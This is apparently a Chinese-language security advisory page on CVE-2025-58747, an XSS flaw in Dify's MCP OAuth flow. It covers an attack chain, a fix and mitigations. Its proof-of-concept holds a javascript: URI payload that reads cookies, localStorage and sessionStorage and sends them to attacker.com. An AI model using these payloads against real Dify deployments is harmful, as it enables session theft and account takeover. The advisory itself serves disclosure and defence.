IPBUF安全漏洞报告
English
CVE-2025-58747 CVSS 6.1 中危

CVE-2025-58747:Dify MCP OAuth组件跨站脚本漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-58747
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Dify(LLM应用开发平台)

相关标签

XSS跨站脚本OAuthDifyLLM平台MCPURL注入javascript伪协议中危漏洞CVE-2025-58747

漏洞概述

CVE-2025-58747是Dify LLM应用开发平台中存在的一个跨站脚本(XSS)漏洞,影响版本至1.9.1。该漏洞位于Dify的MCP(Model Context Protocol)OAuth组件中,当用户尝试连接到一个由攻击者控制的远程MCP服务器时会触发该漏洞。漏洞的根本原因在于OAuth授权流程的实现存在缺陷:远程MCP服务器返回的authorization_url字段未经任何验证或过滤就被直接传递给JavaScript的window.open函数进行调用。攻击者可以搭建一个恶意的MCP服务器,在OAuth响应中构造恶意的authorization_url字段,例如使用javascript:alert(1)这样的JavaScript URI方案。当受害用户在Dify平台中点击连接该恶意MCP服务器时,恶意JavaScript代码将在Dify应用的上下文中执行,可能导致会话劫持、敏感信息窃取、账户接管或其他恶意操作。该漏洞的CVSS评分为6.1,属于中危级别,攻击向量为网络攻击,无需认证但需要用户交互,影响范围涉及机密性和完整性,但不影响可用性。由于Dify是一个广泛使用的LLM应用开发平台,该漏洞可能影响大量基于Dify构建的AI应用和服务的用户安全。

技术细节

该漏洞的技术原理基于OAuth授权流程中的URL注入问题。在Dify平台的MCP OAuth实现中,当用户尝试连接到一个远程MCP服务器时,客户端会向MCP服务器发起OAuth授权请求,MCP服务器返回授权URL。Dify前端代码直接将这个authorization_url参数传递给window.open()函数,而没有对URL的协议方案(scheme)进行验证或过滤。正常的OAuth授权URL应该使用https://协议,但攻击者控制的恶意MCP服务器可以返回javascript:伪协议的URL,例如javascript:alert(document.cookie)或更复杂的payload。window.open()函数在接收到javascript:协议的URL时,会执行其中的JavaScript代码。由于这段代码运行在Dify应用的浏览器上下文中,它能够访问Dify应用的cookie、localStorage、会话令牌等敏感信息。攻击者可以利用这些信息进行会话劫持、权限提升或发起进一步的攻击。漏洞利用的关键点在于:1)攻击者需要控制一个MCP服务器或在合法的MCP服务器通信中实施中间人攻击;2)需要受害者主动点击连接该恶意MCP服务器;3)利用javascript:伪协议绕过正常的URL验证。修复方案是在调用window.open之前对authorization_url进行严格的协议白名单验证,仅允许https://等安全协议。

攻击链分析

STEP 1
步骤1:搭建恶意MCP服务器
攻击者搭建一个恶意的MCP(Model Context Protocol)服务器,配置其OAuth授权端点返回包含javascript:伪协议URL的authorization_url字段。
STEP 2
步骤2:诱导受害者连接
攻击者通过社会工程学手段诱导Dify平台的用户在其应用中配置并连接该恶意MCP服务器。
STEP 3
步骤3:触发OAuth流程
受害者在Dify界面中点击连接恶意MCP服务器,Dify前端向恶意服务器发起OAuth授权请求。
STEP 4
步骤4:接收恶意响应
恶意MCP服务器返回包含javascript:alert(document.cookie)或其他恶意JavaScript代码的authorization_url字段。
STEP 5
步骤5:执行恶意代码
Dify前端代码未经验证直接将authorization_url传递给window.open()函数,导致恶意JavaScript在Dify应用上下文中执行。
STEP 6
步骤6:数据窃取与权限提升
恶意JavaScript可以窃取用户cookie、localStorage中的令牌、会话信息等敏感数据,进而实现账户接管或进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58747 PoC - Dify MCP OAuth XSS # This PoC demonstrates the vulnerability in Dify's MCP OAuth component # where authorization_url from a remote MCP server is passed to window.open() # without validation, allowing JavaScript URI injection. # Step 1: Set up a malicious MCP server that returns a crafted OAuth response # The malicious server returns a javascript: URI in the authorization_url field malicious_oauth_response = { "authorization_url": "javascript:alert(document.cookie)//", "state": "valid_state_token", "client_id": "malicious_client" } # Step 2: Vulnerable code in Dify (simplified representation) # The following pseudo-code shows how the vulnerability exists: """ // Vulnerable implementation in Dify frontend async function connectToMCPServer(serverUrl) { const response = await fetch(`${serverUrl}/oauth/authorize`); const data = await response.json(); // VULNERABILITY: No validation of authorization_url scheme window.open(data.authorization_url, '_blank'); } """ # Step 3: More dangerous payload that could exfiltrate data # When a victim clicks "Connect" on the attacker-controlled MCP server, # the following JavaScript executes in Dify's context: malicious_payload = """ javascript:void((function(){ var cookies = document.cookie; var localData = JSON.stringify(localStorage); var sessionData = JSON.stringify(sessionStorage); // Exfiltrate data to attacker's server var img = new Image(); img.src = 'https://attacker.com/steal?c=' + btoa(cookies) + '&l=' + btoa(localData) + '&s=' + btoa(sessionData); })())// """ # Step 4: Secure implementation (fix) """ // Fixed implementation with URL validation async function connectToMCPServer(serverUrl) { const response = await fetch(`${serverUrl}/oauth/authorize`); const data = await response.json(); // Validate the URL scheme try { const url = new URL(data.authorization_url); if (url.protocol !== 'https:' && url.protocol !== 'http:') { throw new Error('Invalid URL scheme'); } window.open(data.authorization_url, '_blank'); } catch (e) { console.error('Invalid authorization URL:', e); } } """ print("PoC for CVE-2025-58747: Dify MCP OAuth XSS via javascript: URI injection")

影响范围

Dify < 1.9.1

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在Dify前端代码中对authorization_url进行URL解析和协议验证,拒绝非http(s)协议的URL;2)配置Content Security Policy(CSP),限制内联脚本和javascript:协议的执行;3)仅连接经过验证的可信MCP服务器,避免连接未知来源的MCP服务器;4)监控Dify应用中的异常JavaScript执行行为;5)定期清理浏览器会话和敏感数据,降低被窃取后的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表